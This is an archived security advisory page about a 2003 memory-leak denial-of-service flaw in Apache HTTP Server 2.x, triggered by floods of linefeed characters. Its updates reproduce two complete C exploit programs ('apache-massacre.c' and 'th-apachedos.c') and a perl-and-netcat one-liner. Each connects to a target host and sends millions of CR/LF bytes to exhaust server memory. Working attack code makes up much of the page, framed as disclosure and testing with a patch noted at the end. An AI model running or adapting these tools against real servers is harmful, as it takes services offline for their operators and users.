TUCoPS :: Web :: Apache :: a6122.htm

Apache HTTP Server Denial of Service
9th Apr 2003 [SBWID-6122]
COMMAND

	Apache HTTP Server Denial of Service

SYSTEMS AFFECTED

	all 2.x versions prior to 2.0.45 (Unix & Windows)

PROBLEM

	in iDEFENSE Security Advisory 04.08.03:
	
	Remote exploitation of a memory leak in the Apache  HTTP  Server  causes
	the daemon to over utilize system resources on an affected  system.  The
	problem is  HTTP  Server's  handling  of  large  chunks  of  consecutive
	linefeed characters. The web server allocates an eighty-byte buffer  for
	each  linefeed  character  without  specifying  an   upper   limit   for
	allocation.  Consequently,  an  attacker  can  remotely  exhaust  system
	resources by generating many requests containing these characters.
	
	While this type of attack is most  effective  in  an  intranet  setting,
	remote exploitation over the Internet,  while  bandwidth  intensive,  is
	feasible. Remote  exploitation  could  consume  system  resources  on  a
	targeted  system  and,  in  turn,  render   the   Apache   HTTP   daemon
	unavailable. iDEFENSE has performed  research  using  proof  of  concept
	exploit  code  to  demonstrate  the  impact  of  this  vulnerability.  A
	successful  exploitation  scenario  requires  between  two   and   seven
	megabytes of traffic exchange.
	
	 Update 11 april
	 ===============
	
	Serban Murariu [smurariu2(at)yahoo(dot)com precised:
	
	If the server uses squid as an accelerator, the damage is not so big:
	
	
	PID USER   PRI  NI  SIZE  RSS SHARE STAT %CPU %MEM 
	704 squid     25   0 20720  13M  5920 R  98.0 22.3 
	
	
	and also, after a while, squid's figures return to  normal  even  though
	the flood continues... perhaps some protection  in  squid?  this  was  a
	test on squid-2.4.STABLE7-4 and httpd-2.0.40-11
	
	
	
	 Update 10 april: Exploit
	 ========================
	
	Matthew Murphy [mattmurphy(at)kc(dot)rr(dot)com]  posted following:
	
	 >Consequently, an attacker can remotely exhaust system resources by
	 >generating many requests containing these characters.
	
	This is partially correct. Rather than "many requests  containing  these
	characters", the more effective strategy  is  "many  instances  of  this
	character (these characters)".
	
	 > Remote exploitation could consume system resources on a targeted system
	 > and, in turn, render the Apache HTTP daemon unavailable.
	
	Isn't that the truth? In a few minutes, my Apache used some  390  MB  of
	memory when tested. The  statement  that  only  80  bytes  is  lost  per
	newline understates the issue in my opinion. If we multiply:
	
	
	2 newlines: 160 bytes
	4 newlines: 320 bytes
	8 newlines: 640 bytes
	16 newlines: 1280 bytes
	32 newlines: 2560 bytes
	64 newlines: 5120 bytes
	128 newlines: 10240 bytes
	256 newlines: 20480 bytes
	512 newlines: 40960 bytes
	1024 newlines: 81920 bytes
	
	
	Worse, Apache doesn't require any form to the request  what-so-ever,  so
	1 KB of  0x0A's  is  just  as  good  as  a  well-formed  request.  Let's
	continue:
	
	
	2 KB: 163840 bytes
	4 KB: 655360 bytes
	8 KB: 1310720 bytes
	16 KB: 2621440 bytes
	
	
	That's nearly 2 MB leaked in response  to  16  KB.  And,  this  is  just
	baseline figures of the  actual  leak  itself,  and  doesn't  take  into
	account various other factors, including:
	
	 * Other use of memory by Apache
	 * The resources associated with the web session
	
	>iDEFENSE has performed research using proof of concept exploit code  to
	>demonstrate the impact of this vulnerability.
	
	I'm  not  seeing  any  example  code,  so  let's   try   the   attached.
	"apache-massacre=2Ec" allows the user to target a host/port  of  choice.
	It uses a single-connection method, and is stopped with a simple  CTRL+C
	interrupt.
	
	It sends the data (which is patterns of "\r\n") in "chunks". It sends  a
	pre-specified  number  of  character  sequences,  and  then  checks  the
	interrupt flag for a request to terminate. Deployed on a  high-bandwidth
	connection (or a low-bandwidth connection with a lot of time to  spare),
	Apache is disabled within seconds.
	
	The attached code compiles cleanly on Win32,  and  *should*  compile  on
	any system that is POSIX-compliant, and offers a BSD socket interface.
	
	 >A successful exploitation scenario requires between two and
	 >seven megabytes of traffic exchange.
	
	I hate to say, but I wonder where these figures come from. Obviously,  a
	machine with a 16 MB RAM and a 512 MB hard drive is going to run out  of
	resources incredibly faster than a machine with 512 MB RAM and a 100  GB
	hard drive is.  Also,  "between  two  and  seven  megabytes  of  traffic
	exchange" is very  possible  with  a  DDoSnet  of  some  kind.  With  10
	connections  at  1  mbps  each  (for  a  combined  speed  of  10  mbps),
	approximately 1,750,000 bytes (1.25 MB) is exchanged each  second.  This
	same speed is reached  by  the  full  upload  rates  of  many  LAN-based
	providers (schools, for instance). Further, a single cable modem  has  a
	link rate of 10 mbps, held down only by ISP capping.
	
	In the situation of such a network (or, a single uncapped cable  modem),
	the entire traffic exchange rate is hit within one second.
	
	 Code
	 ====
	
	
	/* apache-massacre.c
	 * Test code for Apache 2.x Memory Leak
	 * By Matthew Murphy
	 *
	 * DISCLAIMER: This exploit tool is provided only to test networks for a
	 * known vulnerability.  Do not use this tool on systems you do not control,
	 * and do not use this tool on networks you do not own without appropriate
	 * consent from the network owner.  You are responsible for any damage your
	 * use of the tool causes.  In no event may the author of this tool be held
	 * responsible for damages relating to its use.
	 *
	 * Apache 2.x (2.0.44 and prior) has a memory leak in its request handling
	 * that causes it to handle newlines in an akward manner -- it allocates
	 * 80 bytes for each.  This quickly turns into a nightmare for server stats.
	 * On Windows XP, I was able to cause Apache to consume 390 MB in a matter
	 * of a few minutes.
	 *
	 * The idea is to fire off millions of newlines, depriving Apache of valuable
	 * memory, causing a huge performance degredation.  The worst part about this
	 * flaw is that leaked memory isn't recovered until the Apache child process
	 * terminates.
	 *
	 * The high consumption drops some when the session ends, but there is still
	 * a substantial increase in memory use that doesn't end until Apache exits.
	 * I got memory use up to a peak of about 69,000 KB, and it dropped down to
	 * about 37,000 KB.  The attacking code was the only traffic on the server --
	 * the idle memory use of the server is about 7,132 KB.  Although the leak is
	 * cut in half when the connection terminates, the leak is still a mighty
	 * 29,878 KB (21.3 MB).  All this occurred in a matter of 15 seconds on my
	 * 2.51 GHz P4.
	 *
	 * As with most Apache exposures, the impacts vary between ports of the server:
	 *
	 * Non-Unix (Win32, Netware, OS/2): These ports are most adversely affected
	 * by this, as Apache's child process doesn't terminate normally unless the
	 * parent process stops.  This means that leaks (and any performance loss) hang
	 * around until Apache is restarted.
	 *
	 * Unix/mpm_prefork: This MPM offers the most protection against successful
	 * exploitation, as its processes exit at the end of the request.
	 *
	 * Unix/other MPMs: These other MPMs utilize multiple Apache processes for
	 * multiple Apache requests.  Depending on the MPM in use and the traffic rates
	 * of the server, this may be used to the advantage of a potential attacker.
	 * If multiple different Apache processes are utilized, an attacker can spread
	 * the substantial leak between processes to dodge resource limits imposed on
	 * httpd's UID (usually nobody, www, or apache)
	 *
	 * Credit: iDEFENSE reported this issue to several security lists on April 8,
	 * 2003 following the Apache release announcement.  Apache fixed the flaw about
	 * a month after the initial disclosure of this vulnerability.  iDEFENSE credits
	 * the discovery of this vulnerability to an anonymous researcher.
	 *
	 * Happy Hunting!
	 */
	
	#ifndef _WIN32
	#include <netdb.h>
	#include <sys/types.h>
	#include <sys/socket.h>
	#include <sys/wait.h>
	#include <sys/stat.h>
	#include <sys/time.h>
	#include <netinet/in.h>
	#include <fcntl.h>
	#else
	#include <windows.h>
	#pragma comment(lib, "wsock32.lib")
	#endif
	#include <stdlib.h>
	#include <stdio.h>
	
	int sig_fired = 0;
	
	#ifndef _WIN32
	void sig_handler(int sig) {
	#else
	BOOL WINAPI sig_handler(DWORD dwCtrlType) {
	#endif
		sig_fired = 1;
	#ifndef _WIN32
		return;
	#else
		return TRUE;
	#endif
	}
	
	int main(int argc, char *argv[]) {
		SOCKET s;
		struct sockaddr_in sin;
		char buffer[1025];
		struct hostent *he;
		unsigned short iPort = 80;
		int newlines = 100;
		char *p;
		char *p2;
		int i;
	#ifdef _WIN32
		WSADATA wsa_prov;
	#endif
		printf("Apache Massacre v1.0\r\n");
		printf("Exploit by Matthew Murphy\r\n");
		printf("Vulnerability reported by iDEFENSE Labs\r\n\r\n");
	#ifdef _WIN32
		if (WSAStartup(0x0101, &wsa_prov)) {
			perror("WSAStartup");
			exit(1);
		}
	#endif
		printf("Please enter the web server's host/IP: ");
		fgets(&buffer[0], 1024, stdin);
		he = gethostbyname(&buffer[0]);
		if (!he) {
			perror("gethostbyname");
			exit(1);
		}
		sin.sin_addr.s_addr = *((unsigned long *)he->h_addr);
		printf("Please enter the web server's port: ");
		fgets(&buffer[0], 1024, stdin);
		iPort = (unsigned short)atoi(&buffer[0]);
	#ifndef _WIN32
	#ifdef _SOLARIS
		sigset(SIGINT, &sig_handler);
	#else
		signal(SIGINT, &sig_handler);
	#endif
	#else
		SetConsoleCtrlHandler(&sig_handler, TRUE);
	#endif
		printf("How many newlines should be in each request [100]: ");
		fgets(&buffer[0], 1024, stdin);
		if (!buffer[0] == 0x0D && !buffer[0] == 0x0A) {
			newlines = atoi(&buffer[0]);
		}
		p = malloc(newlines*2);
		p2 = p;
		for (i = 0; i < newlines; i++) {
			*p2 = 0x0D;
			p2++;
			*p2 = 0x0A;
			p2++;
		}
		newlines += newlines;
		s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
		if (s < 0) {
			perror("socket");
			exit(1);
		}
		sin.sin_family = AF_INET;
		sin.sin_port = htons(iPort);
		if (connect(s, (const struct sockaddr *)&sin, sizeof(struct sockaddr_in))) {
			perror("connect");
			exit(1);
		}
		while (1) {
			if (!send(s, (char *)p, newlines, 0) == newlines) {
				perror("send");
				exit(1);
			}
			if (sig_fired) {
				printf("Terminating on SIGINT");
				free(p);
	#ifndef _WIN32
				close(s);
	#else
				closesocket(s);
				WSACleanup();
	#endif
				exit(0);
			}
		}
	}
	
	
	
	 Update 11 April: Exploit for Linux
	 ==================================
	
	Daniel Nyström from  TelHack  team  [http://www.telhack.tk]  proposed  a
	working from scratch exploit, instead of previous one:
	
	
	/* Version 2 */
	/******** th-apachedos.c ********************************************************
	*                                                                               *
	* Remote Apache DoS exploit                                                     *
	* -------------------------                                                     *
	* Written as a poc for the:                                                     *
	*                                                                               *
	*    iDEFENSE Security Advisory 04.08.03:                                       *
	*    http://www.idefense.com/advisory/04.08.03.txt                              *
	*    Denial of Service in Apache HTTP Server 2.x                                *
	*    April 8, 2003                                                              *
	*                                                                               *
	* This program sends 8000000 \n's to exploit the Apache memory leak.            *
	* Works from scratch under Linux, as opposed to apache-massacre.c .             *
	*                                                                               *
	*                                                                               *
	* Daniel Nyström <exce@netwinder.nu>                                            *
	*                                                                               *
	* - www.telhack.tk -                                                            *
	*                                                                               *
	******************************************************** th-apachedos.c ********/
	
	#include <stdio.h>
	#include <stdlib.h>
	#include <string.h>
	#include <errno.h>
	#include <sys/types.h>
	#include <netinet/in.h>
	#include <netdb.h>
	#include <sys/socket.h>
	
	
	int main(int argc, char *argv[])
	{
		int sockfd;
		int count;
		char buffer[8000000];
		struct sockaddr_in target;
		struct hostent *he;
	
		if (argc != 3)
		{
			fprintf(stderr, "\nTH-apachedos.c - Apache <= 2.0.44 DoS exploit.");
			fprintf(stderr, "\n----------------------------------------------");
			fprintf(stderr, "\nUsage: %s <Target> <Port>\n\n", argv[0]);
			exit(-1);
		}
		
		printf("\nTH-Apache DoS\n");
		printf("-------------\n");
		printf("-> Starting...\n");	
		printf("->\n");
	
	//	memset(buffer, '\n', sizeof(buffer)); /* testing */
	
		for (count = 0; count < 8000000;) 
		{
			buffer[count] =  '\r'; /* 0x0D */
			count++;
			buffer[count] =  '\n'; /* 0x0A */
			count++;
		}
	
		if ((he=gethostbyname(argv[1])) == NULL)
		{
			herror("gethostbyname() failed ");
			exit(-1);
		}
	
		memset(&target, 0, sizeof(target));
	        target.sin_family = AF_INET;
	        target.sin_port = htons(atoi(argv[2]));
	        target.sin_addr = *((struct in_addr *)he->h_addr);
	
	        printf("-> Connecting to %s:%d...\n", inet_ntoa(target.sin_addr), atoi(argv[2]));
		printf("->\n");
	
		if ((sockfd=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
	       	{
	               	perror("socket() failed ");
	               	exit(-1);
	       	}
	       	
	       	if (connect(sockfd, (struct sockaddr *)&target, sizeof(struct sockaddr)) < 0)
	       	{
	       		perror("connect() failed ");
	               	exit(-1);
	       	}
	
	        printf("-> Connected to %s:%d... Sending linefeeds...\n", inet_ntoa(target.sin_addr),
	atoi(argv[2]));
	        printf("->\n");
		
		if (send(sockfd, buffer, strlen(buffer), 0) != strlen(buffer))
		{
			perror("send() failed ");
			exit(-1);
	       		close(sockfd);
		} 
	
	
		close(sockfd);
	
		printf("-> Finished smoothly, check hosts apache...\n\n");
	}
	
	/* EOF - th-apachedos.c
	 * http://www.telhack.tk
	 */
	
	
	 Update 14 april
	 ===============
	
	Paul Johnston [paul(at)westpoint(dot)ltd(dot)uk] added:
	
	The exploit is trivial with perl and netcat:
	
	
	perl -e 'print "\r\n" x 4000000' | nc <target> 80
	

SOLUTION

	Apache HTTP Server  2.0.45,  which  fixes  this  vulnerability,  can  be
	downloaded  at  http://httpd.apache.org/download.cgi  .   This   release
	introduces  a  limit  of  100  blank  lines  accepted  before  an   HTTP
	connection is discarded.

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH